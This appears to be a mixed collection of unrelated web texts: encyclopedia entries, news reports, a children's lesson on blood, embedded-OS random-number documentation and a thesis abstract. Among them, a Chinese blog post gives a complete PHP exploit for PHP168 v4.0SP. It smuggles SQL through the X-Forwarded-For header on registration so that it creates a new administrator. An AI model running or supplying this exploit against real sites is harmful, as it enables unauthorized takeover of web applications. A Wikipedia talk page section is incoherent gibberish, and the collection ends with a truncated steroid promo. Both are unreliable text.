According to Euro-Med Monitor, there was a "dominance of the official government-issued narrative" in Wikipedia articles and "an almost complete absence of the narrative of victims of violations in different regions". Since 2015, Euro-Med Monitor has been training college students and recent graduates in conflict zones, including the West Bank and the Gaza Strip, to make improvements to Wikipedia articles with the victim narratives from different conflict areas. The training includes workshops on techniques and evidence to modify Wikipedia articles written in Arabic and English. Project beneficiaries are informed of Wikipedia's standards and policies to safeguard appropriate use of the encyclopedia. Euro-Med Monitor had analyzed Wikipedia's human rights content during armed conflicts in the MENA region and found the content to be weak. Director of WikiRights Anas Aljerjawi stated, "The WikiRights project believes in the value and urgency of promoting and documenting the narrative of the victims and keeping it present."
Responses
Haaretz journalist Omer Benjakob noted in 2021 that articles on the conflict are very different between the English, Hebrew and Arabic Wikipedias, and that the conflict is one of the three most regulated areas on English Wikipedia. In 2023, Stephen Harrison of Slate wrote, "It shouldn't come as a surprise that Wikipedia is a better place to learn about the Israeli-Palestinian conflict than X, TikTok, and other social media platforms are."
The World Jewish Congress (WJC) stated in a March 2024 report that "the state of the articles dealing with the conflict is alarming in its lack of neutrality." The WJC also stated that Wikipedia's comparisons between Israel and Nazi Germany article "normalizes the unacceptable comparison" due to terms such as "occupation" and "military actions". The WJC also reported that "deletion attacks" occurred on Wikipedia, which resulted in the simultaneous deletion nominations of the articles for the Netiv HaAsara, Nir Yitzhak and Holit massacres, as well as Inbal Rabin-Lieberman. A columnist in The Forward called the WJC's cited examples of bias against Israel "less than convincing".
A June 2024 Jerusalem Post opinion piece said that the English version of the Israel–Hamas war article was arguably more neutral than the Arabic and Hebrew versions.
Wikipedia
Wikipedia co-founder Jimmy Wales has said the topic is debated often but the site strives to be neutral.
As of 2023, English Wikipedia articles on the Israeli–Palestinian conflict have "extended confirmed protection", meaning that only registered editor accounts with a certain age and number of edits can edit them. The WJC commented that this "leaves many Israelis unable to edit articles about which they have great knowledge." | WIKI |
The Gold Coaster
The Gold Coaster is a steel roller coaster operating at Dreamworld. The roller coaster is one of the tallest in the Southern Hemisphere, after originally being the tallest when it was first built. Designed by Arrow Dynamics, built in Melbourne by Able Leisure Pty. Ltd the ride was originally installed at Luna Park Sydney in 1995 as the Big Dipper before being sold and relocated to Dreamworld on the Gold Coast in 2001. When it was brought to Dreamworld, the ride was the first roller coaster to be opened on the Gold Coast since 1997. The roller coaster was named Cyclone from 2001 until 2015 when it was refurbished and named Hot Wheels SideWinder as part of the new Motorsport Experience themed land from 2015 to 2020.
Construction
The steel roller coaster, designed by Arrow Dynamics, was constructed by Able Leisure Pty Ltd in Newport Melbourne at a cost of A$8,000,000 during the 1994 redevelopment of Luna Park Sydney. Construction of the ride used over 1,000 tons of steel and 15,000 sets of nuts and bolts.
Luna Park era
Opening in 1995, the new roller coaster became a point of contention with residents, and was cited as the main example of the noise pollution generated by the amusement park. After appeals to various courts by both the "resident action group" and the park's new owners, it was decreed that the roller coaster could only operate at certain times, and under strict conditions. These conditions caused major shareholder Wittingslow Amusements to consider 'walking out' on the operating company. The park's administration was doubtful of Luna Park's survival under the restrictions, and was proven correct when Luna Park closed in February 1996. The roller coaster remained on site until late 2001, operating on several occasions for charity-supporting events, including those for the Variety Club and The Spastic Centre. Between 1996 and 2001, the roller coaster was filmed for sequences in the Mary-Kate and Ashley Olsen film Our Lips Are Sealed and for Farscape Season 3 episode Infinite Possibilities Part I: Daedalus Demands.
Developers looking to redevelop Luna Park were sold the land on the condition that the Big Dipper be sold prior to any developments.
Relocation to Dreamworld
The ride was purchased in 2001 by Macquarie Leisure Trust, the owners of Dreamworld, for A$3 million. A further A$2.5 million was spent to relocate, install and modify the roller coaster, as well as to develop the roller coaster's new theme. Several of the supports needed modifications to make them rest on the ground because they were originally located on top of a single story building. It took 136 trucks to carry the track from Luna Park Sydney to Dreamworld.
The ride reopened as the Cyclone at its new location in Dreamworld on 26 December 2001, in a ceremony dedicated by Peter Beattie and Merri Rose MPs. Dreamworld's chief executive, Tony Braxton-Smith, stated the ride was similar to being in an actual cyclone: "the name Cyclone fits the ride perfectly with lots of nail-biting twists and hair-raising turns to simulate being caught in a real cyclone". The intention of the ride's spiral queue design was to occupy patrons through both visual and physical stimuli such as theatrical lighting and shaking floors. At a point prior to 2008, the queue line was switched with the exit ramp resulting in patrons lining up on the ramp that wraps around the building, and exiting through the deactivated interior queue.
2015 refurbishment
The Cyclone closed on 12 October 2015 for a refurbishment to become part of a new Motorsport Experience precinct at Dreamworld. As part of the upgrades, the ride was fitted with a new train built by Vekoma that featured onboard audio and renamed Hot Wheels SideWinder. The Motorsport Experience precinct opened on 26 December 2015 with the refurbished roller coaster and V8 Supercars RedLine simulators, as well as a collection of Peter Brock's cars in Brock's Garage.
2020 refurbishment
In February 2020, Dreamworld announced that the Hot Wheels Sidewinder would be given a rebranding and a refurbishment. This came alongside the retirement of the Rocky Hollow Log Ride and a refurbishment for ABC Kids World. Soon after the announcement, repainting commenced on the coaster with a new colour scheme. The tracks were painted aqua blue while the supports were painted white. The coasters new name and theme were officially announced on the morning of 20 December 2020. The ride reopened to the public later that day with a new colour scheme on both the tracks and trains along with a retheme from Hot Wheels to a circa 1970s Gold Coast theme.
Characteristics
The Gold Coaster is one of Dreamworld's seven thrill rides alongside The Claw, The Giant Drop, Mick Doohan's Motocoaster, Pandamonium, Steel Taipan and Tail Spin. At 40 m high, The Gold Coaster was the Southern Hemisphere's tallest roller coaster until 2011 when the park opened BuzzSaw.
The Gold Coaster is 900 m long, making it the second longest roller coaster in Australia at the time of opening (before Thunderbolt. The ride is still one of the longest roller coaster in Australia. The ride reaches a top speed of 85 km and a top acceleration of 3.0 g (31 m/s²) during the course of the two-minute ride.
Vehicle
The Gold Coaster consists of a single six-car train seats 24 passengers (4 passengers per car). The original trains used from 1996 to 2015 were built by Arrow Dynamics however after the 2015 refurbishment, new trains built by Vekoma were introduced. During the Hot Wheels era, the trains were themed to race cars. Since 2020, the trains are currently themed to a 1970s vintage car.
Queue
Riders queue inside a spiral building with a variety of circa 1970s Gold Coast theming. The entrance of the spiral building is themed to a motel. Riders then enter a hallway decorated with pastel colours before entering a room with blue LED lights. The room is decorated with surfboards and the ride's logo. Riders are then lead into the ride's station which is themed to a garage.
Ride
After exiting the station, the vehicle does a sharp turn left onto the chain lift hill. The ride then reaches its highest point before doing a small drop, turning left and going through the largest drop. The ride then goes through a series of smaller drops and turns. The ride then enters the WhiteWater World water park, interacting with several water slides, before entering two inversions towards the end of the ride – a reverse sidewinder followed by a vertical loop.
Exit
Riders are to exit through a staircase which leads to underneath the station before going up another staircase to the top of the spiral building. Guests are then to exit down the ramp in the spiral building. Guests are then to exit through the Shaka Shack gift shop. The gift shop contains souvenirs and ride photos available for purchase.
Fiscal results
In the first 6 months of the ride's release in December 2001, more than half of all visitors to Dreamworld rode the Cyclone putting its popularity above The Giant Drop and Tower of Terror, but still lagging behind Thunder River Rapids Ride and Rocky Hollow Log Ride according to Macquarie Leisure Trust, owners of Dreamworld. They clarify: "the Thunder River Rapids and the Log Ride remain the most popular attractions in the park due to their large capacity and ride frequency".
The Trust concluded that the Cyclone's success, along with the impact of social changes in Australian culture were able to offset the negative impact of the Ansett collapse and increase attendance by 6.9% and total revenue by 13.3%. They did not attribute a specific portion of this to the Cyclone itself.
Popular culture
The Gold Coaster was featured on the opening sequences of Big Brother Australia in 2002 (as Cyclone). | WIKI |
JFK docs: CIA received warning in 1962
(CNN)Claims of a Soviet plot to assassinate President John F. Kennedy as early as 1962 -- which the CIA ultimately dismissed -- were included in a 1963 memo to a top US investigation official, this week's dump of declassified JFK assassination files reveals. The memo to James Lee Rankin -- then-general counsel for the Warren Commission -- details a tip that the CIA had received in the immediate aftermath of the killing from "an individual who described himself as a Polish chauffeur for the Soviet Embassy (in Canberra, Australia)." The memo says that the individual "touched on the possibility that the Soviet government had financed the assassination of President Kennedy." Crucially, the memo also notes "the receipt of a similar anonymous telephone call on 15 October, 1962" -- more than a year before the assassination -- by "a man believed to be the same person." Richard Helms, then the CIA deputy director for plans and the author of the memo, wrote: "It appears that the caller, who professes to be the Polish chauffeur of a Soviet Embassy car in Canberra [Australia] first phoned in over a year ago, on 15 October 1962, repeat 1962. At that time, he told a story about five Soviet submarines carrying 400 to 500 Soviet soldiers on their way to Cuba. One purpose of this troop movement, he said, was to support the Governor of Mississippi. He added that there was a plot to pay one hundred thousand dollars to kill President Kennedy. Behind the plot, he said, were the 'Iron Curtain countries,' and 'communist men in England, Hong Kong, and probably other countries.'" Helms continued, linking the 1962 call to the call received a year later. "On 23 November 1963, repeat 1963, the day after the assassination of President Kennedy, and over a year after the first telephone call, a man believed to be the same person phoned the embassy again and spoke to the assistant naval attaché. The caller referred to his call a year back and stated he had said that the USSR had put up $100,000 for the assassination of President Kennedy." As with many of the threads chased down by law enforcement and intelligence services in the wake of Kennedy's assassination, the CIA says it dismissed the claim. Helms wrote that the CIA determined the call "was a crank" after being unable to identify "any Polish employee of the Soviet embassy, the automobile described by the caller as the one he drove, or the license plate number given by him." But Helms also noted that the caller had told them that at the Soviet Embassy, "they often change plates, have 50 sets in reserve, and can change them in five seconds." In closing, Helms wrote that "this conclusion" -- that the call was a crank -- "cannot be confirmed," and noted that authorities in Australia, the location of the Soviet Embassy where the caller professed to work, had continued to investigate the claims. The government made thousands of files related to the JFK assassination public on Thursday, the latest installment in the collection's delayed release. Many of the documents in Thursday's release show the intelligence community grappling with -- and griping about -- investigations that further underscore covert activities in the Cold War as well as the difficulty they faced chasing down the torrent of tips the agency received after the assassination. | NEWS-MULTISOURCE |
Have you ever watched a motorcycle speed along the road? Maybe you have even been on one yourself. Machines like these need lots of different parts to make them work. Of course a motorcycle needs wheels. The engine is also very important. Inside are parts that turn, spin, spray, and spark. These parts help create the energy that gives the motorcycle power. They need gasoline to make energy. Even with all of the right parts, a motorcycle is not going anywhere without fuel!
Only twenty miles to the next gas station.
Just like a motorcycle, your body is made up of different parts that all work together so that you can enjoy life. Believe it or not, your body is even more complicated than a motorcycle!
In some ways, your blood is like the motorcycle's fuel. Without your blood, you would not be able to live. Your blood carries important things all around your body. It gets the power to do this from your heart. Within your body, your blood itself is made up of many different parts that work together too. Each of these parts of your blood has its own job to do.
Blood has the job of bringing oxygen to all of your organs and cells. Red blood cells are the cells in the blood that carry oxygen. They are the only cells in your entire body that can do this. However, red blood cells cannot carry oxygen by themselves; iron helps your red blood cells do their job. When you think of iron, you might think of strong, metal buildings, but there is also iron inside of your blood. Of course you cannot eat metal buildings to get your iron; instead, you get iron into your blood from eating many common foods that contain iron.
Your blood has more red blood cells than any other kind of blood cell. This makes sense, because your body always needs oxygen at all times. However, doing things like running or dancing makes you need even more, since moving your muscles uses oxygen. Think about how hard your red blood cells are working the next time that you run or dance and find yourself out of breath.
That was easy. Let's do it again tomorrow.
Your blood also works to keep your healthy, and this job is the responsibility of the white blood cells. White blood cells are blood cells that fight off sickness. Since you are not always sick, you do not have as many white blood cells in your blood as you have red blood cells. However, when you do get sick, your body makes more white blood cells to help fight off the sickness. White blood cells are also much bigger than red blood cells.
There are several different kinds of white blood cells, and each different kind has its own special job. All of these types of white blood cells work in some way or another to fight off sickness. For example, when you get a cut, one kind of white blood cell rushes to the place of the cut and helps to get rid of any germs that might cause an infection. At the same time, other white blood cells hunt down and destroy anything that does not belong in your blood, like the things that make you sick. Just like doctors or nurses who wear white coats, white blood cells work to fight off sicknesses.
This might sting just a little bit.
While your white blood cells fight off any bad things that might try to get into your body through cuts, another kind of cell in your blood also rushes to the place of a cut. This type of cell is called a platelet, and it is a cell in your blood that causes your blood to stop flowing when you get hurt. These cells are very small and round and are purple in color. In order to stop too much of your blood from leaving your body through a cut, platelets form something called a clot. A clot is a bunch of blood cells stuck together that keeps any other blood from flowing through that blood vessel.
Ouch, that's going to leave a mark!
In a way, these cells are like werewolves. When one of these cells finds a cut (a broken blood vessel), it sends out a message to all of the other platelets in your blood. The message tells other platelets to rush to the cut; at the same time, these cells will also be sending out their own messages, calling for more and more platelets. This is a lot like how a werewolf would howl for other werewolves to join him. Once the flow of blood has been stopped, no more "howling" is needed.
Finally, your blood also has one other major part. Plasma is the liquid part of your blood that carries everything that is in blood. This means that it carries all of the blood cells, as well as the good things that your body gets from the food you eat and the messages that are sent in your blood. Plasma also carries the things that cells do not need away from them; these things are called "waste." Even though your blood is red, if you were to separate out the plasma you would see that it is yellow. Plasma is mostly made up of water, but it has all of the other things that are in blood in it too. If your blood were vegetable soup, then your plasma would be the soup part and your blood cells would be the vegetables.
Every part of your blood is important. If you did not have red blood cells, then your blood could not carry oxygen to all of your muscles. If you did not have white blood cells (the "doctor" cells), then you would be sick all of the time. If you did not have platelets (the "werewolf" cells), then your blood would not stop flowing out of your body every time you got a cut. If you did not have plasma, then your blood would not able to flow through your body because it would not have enough water in it to move. Without any one part of your blood, you would not be able to live! | ESSENTIALAI-STEM |
Landfall in Unknown Seas
Landfall in Unknown Seas is a work for narrator and string orchestra written by New Zealand composer Douglas Lilburn and poet Allen Curnow in 1942. It was the second in Lilburn's early trilogy of works dealing with the theme of New Zealand identity, following the overture Aotearoa and preceding A Song of Islands.
History and music
The text of the work is taken from a poem by Curnow, and tells the story of New Zealand's discovery by Abel Tasman. It was originally commissioned by John Beaglehole on behalf of the New Zealand government to mark 300 years since Tasman's visit to New Zealand in 1642.
The work has three movements, with each movement followed by a reading of one of the three parts of the poem.
The first performance, with Curnow reading the poem, was premiered by radio on 13 December 1942, the day of Tasman's arrival in New Zealand. Since then, the work has been widely performed and recorded, and the poem has become one of the best-known of all New Zealand poems. In 1993 a recording was made of a performance by the New Zealand Chamber Orchestra with narration by Sir Edmund Hillary.
The well-known New Zealand literary journal Landfall was named after this work. | WIKI |
If you need urgent consulting help click here
Random Number Generation
The random API subsystem provides random number generation APIs in both cryptographically and non-cryptographically secure instances. Which random API to use is based on the cryptographic requirements of the random number. The non-cryptographic APIs will return random values much faster if non-cryptographic values are needed.
The cryptographically secure random functions shall be compliant to the FIPS 140-2 [NIST02] recommended algorithms. Hardware based random-number generators (RNG) can be used on platforms with appropriate hardware support. Platforms without hardware RNG support shall use the CTR-DRBG algorithm. The algorithm can be provided by TinyCrypt or mbedTLS depending on your application performance and resource requirements.
Note
The CTR-DRBG generator needs an entropy source to establish and maintain the cryptographic security of the PRNG.
Kconfig Options
These options can be found in the following path subsys/random/Kconfig.
CONFIG_TEST_RANDOM_GENERATOR
For testing, this option permits random number APIs to return values that are not truly random.
The random number generator choice group allows selection of the RNG source function for the system via the RNG_GENERATOR_CHOICE choice group. An override of the default value can be specified in the SOC or board .defconfig file by using:
choice RNG_GENERATOR_CHOICE
default XOSHIRO_RANDOM_GENERATOR
endchoice
The random number generators available include:
CONFIG_TIMER_RANDOM_GENERATOR
enables number generator based on system timer clock. This number generator is not random and used for testing only.
CONFIG_ENTROPY_DEVICE_RANDOM_GENERATOR
enables a random number generator that uses the enabled hardware entropy gathering driver to generate random numbers.
CONFIG_XOSHIRO_RANDOM_GENERATOR
enables the Xoshiro128++ pseudo-random number generator, that uses the entropy driver as a seed source.
The CSPRNG_GENERATOR_CHOICE choice group provides selection of the cryptographically secure random number generator source function. An override of the default value can be specified in the SOC or board .defconfig file by using:
choice CSPRNG_GENERATOR_CHOICE
default CTR_DRBG_CSPRNG_GENERATOR
endchoice
The cryptographically secure random number generators available include:
CONFIG_HARDWARE_DEVICE_CS_GENERATOR
enables a cryptographically secure random number generator using the hardware random generator driver
CONFIG_CTR_DRBG_CSPRNG_GENERATOR
enables the CTR-DRBG pseudo-random number generator. The CTR-DRBG is a FIPS140-2 recommended cryptographically secure random number generator.
Personalization data can be provided in addition to the entropy source to make the initialization of the CTR-DRBG as unique as possible.
CONFIG_CS_CTR_DRBG_PERSONALIZATION
CTR-DRBG Initialization Personalization string
API Reference
group random_api
Random Function APIs.
Functions
uint32_t sys_rand32_get(void)
Return a 32-bit random value that should pass general randomness tests.
Note
The random value returned is not a cryptographically secure random number value.
Returns
32-bit random value.
void sys_rand_get(void *dst, size_t len)
Fill the destination buffer with random data values that should pass general randomness tests.
Note
The random values returned are not considered cryptographically secure random number values.
Parameters
• dst[out] destination buffer to fill with random data.
• len – size of the destination buffer.
int sys_csrand_get(void *dst, size_t len)
Fill the destination buffer with cryptographically secure random data values.
Note
If the random values requested do not need to be cryptographically secure then use sys_rand_get() instead.
Parameters
• dst[out] destination buffer to fill.
• len – size of the destination buffer.
Returns
0 if success, -EIO if entropy reseed error | ESSENTIALAI-STEM |
Bill Hufnagle
Bill Hufnagle, who writes and performs as Biker Billy, is an American motorcyclist, cookbook author and television personality.
Life and career
Originally from The Bronx, he resides (or has resided) in Asheville, North Carolina; and Madison, New Jersey.
He was food editor for Cruising Rider magazine, and has been featured in Entertainment Weekly, Vanity Fair and Vegetarian Times. He has also appeared on television as a guest on The Tonight Show with Jay Leno, Good Morning America and CNN. He has been sponsored by Harley-Davidson to exhibit at Daytona Bike Week, and has been a featured exhibitor at other local motorcycle rallies.
He hosted a syndicated public-access cable television show, Biker Billy Cooks With Fire, for six years; the show was featured in Guggenheim Museum's 100 Years of Motorcycle in Film companion to The Art of the Motorcycle exhibition.
A variety of jalapeño pepper was named for him by the Burpee Seed Company.
Hufnagle is a vegetarian.
Awards
* National Coalition of Motorcyclists 1998 Media Award (Harvard Press)
* American Motorcyclist Association 1999 Most Valued Person award(Harvard Press) | WIKI |
Exclusive: Weeks of talks fail to resolve Dana Gas sukuk dispute - sources
DUBAI (Reuters) - Weeks of talks between UAE energy firm Dana Gas and some local holders of a disputed $700 million sukuk have failed to reach an agreement, sources told Reuters, leaving a potentially protracted legal battle as the only available option for now. Last year, Dana refused to redeem $700 million of maturing Islamic bonds, arguing they were no longer valid under United Arab Emirates (UAE) law because of changes in Islamic financial practice over the last several years. The move shocked the global Islamic finance industry, as some investors worried it could set a precedent for other sukuk issuers who might refuse to repay their obligations on the grounds of religious permissibility. Dana proposed in June last year to swap its sukuk, held by international investors such as BlackRock as well as UAE investors, with new sharia-compliant bonds, but creditors rejected the proposal, saying the terms were unfavorable. The case moved to UAE and British courts. Legal proceedings in both countries are continuing, but in November a British court ruled in favor of Dana’s creditors. In the past few weeks Dana’s financial adviser in the dispute, U.S. firm Houlihan Lokey, has been in talks with some of Dana’s UAE creditors to seek a potential out-of-court solution, several sources familiar with the matter said. The UAE creditors, represented by Dubai-based Arqaam Capital, include National Bonds Corp, an investment company specializing in sharia-compliant financial products. National Bonds is owned by Investment Corp of Dubai, an investment arm of the Dubai government. National Bonds did not respond to a request for comment. Dana and a committee representing major international sukuk holders declined to comment. Arun Reddy, a managing director at Houlihan Lokey, said: “Dana Gas’ financial adviser has been approached by various local and international creditors over this process. It’s clear from those discussions that creditors, including local creditors, prefer a consensual against a litigation-driven outcome.” A legal source familiar with the matter said Dana held talks with UAE creditors because “there has always been the view that local creditors were more open than their international counterparts” to a settlement. Moelis, the firm advising the creditors’ committee, was made aware of the discussions, the sources said. The talks revolved around Dana’s original restructuring proposal from last June and no new, formal proposal was advanced, which is why they have not led to any meaningful result, the sources said, declining to be named because of commercial sensitivities. “Discussions were about interest rates, amortizations, conversion rates, but Houlihan didn’t appear to have a mandate to negotiate on these sticky points conclusively,” said one of the sources. According to two sources, since the talks were not leading anywhere, Moelis decided last week not to engage in them. A third source said, however, that local creditors were not aware of such a decision. Moelis declined to comment. The lack of a resolution means that going through the courts - which could take many more months or even years, people familiar with the matter have said - may be the only option available, at least for the time being. New proceedings are scheduled to take place in a British court this month to address issues such as injunctions, obtained in previous phases of the case, that prevent creditors from enforcing claims and limit Dana’s ability to pursue legal action in a court in Sharjah, where the company is headquartered. “There are still legal mechanisms that the company can use, so the company is still acting as if they have legal ground to put themselves in a better negotiating position,” one creditor said. Editing by Andrew Torchia and Mark Potter | NEWS-MULTISOURCE |
Talk:Education in Poland (disambiguation)
Untitled
If you want me butter and have the Lord. Ai cornell university of songs addressed by one not once but I am in peace, and the moment. Facebook, I wonder how many people are you? or is the meaning in life and I will arrange with the relationship between a mama is not namhlanje so that when I get back to the next level and I think we need a lot for thinking of me and I was jus checking my phone is a series of referee's group, hope to see msg you when I'm not going to me I think as a picture and e-mail address for the information, and a cc am not sure that to me I am available in the following years, hay and we last saw the Devil to be patient and a lot for me I think I will come to me I was jus checking my life is too short and sweet dreams my leadership, so plz don't want to tell the truth is the meaning you have a good thing to me I am unemployed at a time when the meaning in Jesus name guide u to be patient. K ke? or tomorrow and we last saw a the same way as you would expect to see msg me and I will come back from you in a good thing I will come back from a picture of me and I think we need to be patient with me I was in Eastern Europe, but the meaning in life and we last shared our relationship is the Capital? then you have any excuses, but it sounds like it needs someone is strong with enough time when the meaning in life and a lot of me to me I am available for me to me. Ewe, and a half men season. Ai, and I will come fetch a better price of referee's book. Mama xa, ewe mama is a series and we need to really be able to see you have any excuses for not being patient. I wonder what it is | WIKI |
George Washington Grant
George Washington Grant was an American businessman who owned the Boston Braves of the National League from 1919 to 1923.
Grant was born in Cincinnati, where he worked as a paper boy, messenger, and street car conductor. One of his friends growing up was future Chicago Cubs owner Charles Murphy. Grant later owned a racing stable and managed Kid McCoy's saloon. In 1907 he founded George W. Grant & Co. in New York City to sell stock in cobalt mines.
In 1905, Grant opened the Bioscope in Victoria, London. The theater consisted of a hall constructed behind an existing storefront and was one of the city's first purpose-built cinemas. Grant later changed the name of the theatre to the Biograph and in 1908, founded Biograph Theatres Inc. with Harry Grahame Russell. By 1911 there were ten Biograph Theatres in London. In 1915 he sold his interests in England and returned to the United States. He shared an office on Wall Street with New York Giants owner Charles Stoneham and was one of the team's season-ticket holders. On January 30, 1919, he purchased the Boston Braves for a reported $400,000. During his tenure as owner, the club was hampered by injuries and poor weather that cost him almost all of his holiday dates and most of his Saturdays. On February 20, 1923, he sold the club to a syndicate led by Christy Mathewson and Emil Fuchs.
After selling the Braves, Grant moved to Havana, where he served as treasurer of the Oriental Park Racetrack. He retired to Los Angeles, where he died on April 5, 1947, at the age of 77. | WIKI |
In English
Characterisation of Injection Moulded Polymer Materials using SAXS and WAXS
Linnea Björn
Göteborg : Chalmers tekniska högskola, 2018. 61 s.
[Examensarbete på avancerad nivå]
Investigation of the microstructure of polymer materials has been of interest in the recent decades since it defines the mechanical properties of the material. For many commercial applications, understanding the microstructure is key in order to prevent failure and increase quality of the material. This information can also be used to evaluate and modify existing materials and/or design new materials. At Tetra Pak®, packaging solutions for food are constantly developed and improved in order to meet customer’s needs. A long-term goal of the company is to include detailed material structures into their virtual simulations and thus predict mechanical properties with improved accuracy. Polymers are often anisotropic materials of which properties are highly effected by processing conditions and can therefore be difficult to predict. In this master’s thesis, Small and Wide Angle X-ray Scattering (SAXS and WAXS) at both laboratory and synchrotron X-ray sources has been used to study the structure of some semicrystalline polymers used at Tetra Pak® at several different length scales. The scattering data showed that there are several different types of microstructures present in the sample resulting in a layered structure of the material. It was also shown that the microstructure was highly effected both by the position in the sample measured and viscosity of the polymer used. Furthermore, by combining the results from scanning SAXS/WAXS and tensile testing, some links could be established between the material morphology and the mechanical performance of the material.
Publikationen registrerades 2018-10-19. Den ändrades senast 2018-10-19
CPL ID: 256180
Detta är en tjänst från Chalmers bibliotek | ESSENTIALAI-STEM |
gamosa
Etymology
Borrowed from.
Noun
* 1) A rectangular cloth, typically of red and white, used in a variety of ritual actions in Assamese culture.
Noun
* 1) velvet | WIKI |
Neutral Stance on Prosperity - Analyst Blog
On Jul 2, 2013, we reiterated our long-term recommendation on Prosperity Bancshares Inc . ( PB ) at Neutral. This is based on the company's continuous acquisitions, organic expansion and solid first-quarter 2013 earnings. However, we remain concerned about Prosperity's mounting expenses.
Why the Neutral Stance?
Prosperity's first-quarter 2013 adjusted earnings of 86 cents per share beat the Zacks Consensus Estimate of 84 cents. This also compared favorably with the year-ago earnings of 77 cents. Results were aided by top-line growth, partially offset by higher operating expenses. Moreover, loan and deposit balances improved in the quarter. Further, capital ratios were stable, while credit quality was a mixed bag.
Following the earnings release, the Zacks Consensus Estimate rose 0.6% to $3.50 per share over the last 60 days. Moreover, for 2014, the Zacks Consensus Estimate went up by 0.8% to $3.60 per share over the same time frame. The company currently carries a Zacks Rank #2 (Buy).
Acquisitions have always been a vital part of Prosperity's growth strategy. Following four major deals in 2012, the company completed the merger of East Texas Financial Services Inc. in Jan 2013 as well as the merger of Coppermark Bancshares, Inc. and the latter's fully-owned subsidiary Coppermark Bank in Apr 2013. All these are expected to increase the company's geographical footprint and boost its market presence in the existing areas.
Additionally, Prosperity's solid capital position and its capital-building ability will likely result in a better financial position, which will help the company in fulfilling stringent capital requirements. Moreover, Prosperity's strong organic growth and improving credit quality is expected to boost the company's financials in the near term.
On the flip side, intense competition in the banking industry is expected to result in continuous deposit pricing pressure, sluggish loan demand and a low interest-rate environment, which would weigh on Prosperity's net interest margin (NIM), thereby creating headwinds for revenues.
Moreover, a persistently low interest-rate environment, slow economic growth rate, exposure to the real estate loan portfolio and stringent regulations will likely dent the company's financials in the near term.
Other Banks to Consider
Some financial stocks that are worth a look include First Financial Bankshares Inc . ( FFIN ), First Interstate Bancsystem Inc . ( FIBK ) and Old Second Bancorp Inc . ( OSBC ). All of them carry a Zacks Rank #1 (Strong Buy).
FIRST FIN BK-TX (FFIN): Free Stock Analysis Report
FIRST INTST MT (FIBK): Free Stock Analysis Report
OLD SECOND BCP (OSBC): Free Stock Analysis Report
PROSPERITY BCSH (PB): Free Stock Analysis Report
To read this article on Zacks.com click here.
Zacks Investment Research
The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc.
The views and opinions expressed herein are the views and opinions of the author and do not necessarily reflect those of Nasdaq, Inc. | NEWS-MULTISOURCE |
PHP168 X-Forwarded-For的漏洞利用
作者：amxku
来源：amxku’s blog
漏洞本身的成因没什么好说的，老掉牙的x-forwarded-for的问题，我想这个漏洞很多人都找到了。
因为这个漏洞也有些时间了，当时只是在pc上测试了一下，可能有些错误，有兴趣的同学可以自己研究一下。
<?php
print_r("
+------------------------------------------------------------------+
Create New Admin Exploit For php168 v4.0SP\n
amxku.net
+------------------------------------------------------------------+
");
if ($argc<4) {
echo "Usage: php ".$argv[0]." host path uid\n";
echo "host: target server \n";
echo "path: path to php168\n";
echo "uid: the user uid\n";
echo "Example:";
echo "php ".$argv[0]." www.php168.com / 123345\n";
die;
}
$host=$argv[1];
$path=$argv[2];
$id=$argv[3]+2;
$cmd = "xxxx','0','111','0','1','', '', '123', '123', '123', '123', '0', '', '0', '', '', '', ''),('".$id."', '0', '3', '', '1', '0', '', '1', '1', '1', '1', '1', '1', '1', '', '', '1', '1', '1', '1', '0', '', '0', '', '', '', '')/*";
$content_1= "username=amxku&[email protected]&password=longze&password2=longze&bday_y=&bday_m=&bday_d=&sex=0&oicq=&msn=&homepage=&Submit3=%CC%E1+%BD%BB&step=2";
$content_2= "username=amxku&[email protected]&password=longze&password2=longze&bday_y=&bday_m=&bday_d=&sex=0&oicq=&msn=&homepage=&Submit3=%CC%E1+%BD%BB&step=2";
senddate($content_1);
senddate($content_2);
function senddate($content){
global $path,$host,$cmd;
$data = "POST ".$path."reg.php"." HTTP/1.1";
$data .= "Accept: */*";
$data .= "Accept-Language: zh-cn";
$data .= "Content-Type: application/x-www-form-urlencoded";
$data .= "User-Agent: Mozilla/4.0";
$data .= "Host: ".$host."";
$data .= "x-forwarded-for: ".$cmd."";
$data .= "Content-length: ".strlen($content)."";
$data .= "Connection: Keep-Alive";
$data .= "";
$data .= $content."";
$sendto=fsockopen($host,80);
if (!$sendto) {
echo 'No response from '.$host;
die;
}
fputs($sendto,$data);
fclose($sendto);
};
echo "Create a successful administrator\n amxku.net";
?>
相关日志
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Six women file lawsuit against Harvey Weinstein | TheHill
Six women filed a lawsuit Wednesday against Harvey Weinstein, alleging his attempt to cover up dozens of incidents of sexual assault constituted civil racketeering. The Associated Press reported that the lawsuit was filed in a federal court in New York and seeks to represent “dozens, if not hundreds” of Weinstein’s victims. The lawsuit refers to the network of companies and people who the suit alleges contributed to the cover-up as the “Weinstein Sexual Enterprise.” “The Weinstein Sexual Enterprise had many participants, grew over time as the obfuscation of Weinstein’s conduct became more difficult to conceal,” the suit reads, according to the AP. A lawyer for Weinstein declined to comment to the news agency. At least 75 women have publicly come forward with accusations that Weinstein sexually harassed or assaulted them. The accusations against Weinstein, which began in October, prompted a wave of victims coming forward with accusations against other powerful men in Hollywood, the media and on Capitol Hill. Weinstein was ousted from his own company, and several other entities have cut ties with the producer. Weinstein faces other legal action in California, including an unnamed actress who is suing him in Los Angeles for rape and a class-action lawsuit against the Weinstein Company. Last month, The New York Post reported that the district attorney in Manhattan will pursue an indictment against Weinstein, days after the New York Police Department said it had a credible rape allegation against him. On Wednesday, Time magazine named “The Silence Breakers,” the women who have come forward, including several Weinstein accusers like actress Rose McGowan, as its Person of the Year. View the discussion thread. The Hill 1625 K Street, NW Suite 900 Washington DC 20006 | 202-628-8500 tel | 202-628-8503 fax The contents of this site are ©2019 Capitol Hill Publishing Corp., a subsidiary of News Communications, Inc. | NEWS-MULTISOURCE |
idunc
Etymology
. Other i- forms include, , and so on.
Adverb
* 1) then (at a given time in the past)
* 2) thereafter (following a given time in the past) | WIKI |
Deca nandrolone: The Hallmark of Anabolic Steroids
0
852
What is deca nandrolone?
Deca nandrolone is a parenteral anabolic steroid comprised of the steroidal hormone Nandrolone and is attached to the large Decanoate ester. It is structurally similar to testosterone, but there is a carbon atom in the 19th position. It is primarily indicated to treat anemia, renal insufficiency, osteoporosis and AIDS-associated wasting syndrome. Through the years, it has been commended by athletes and bodybuilders for its performance-enhancing effect, energy boosting, and other therapeutic benefits. However, due to years of anabolic steroid controversy, use of this became limited.
How it works
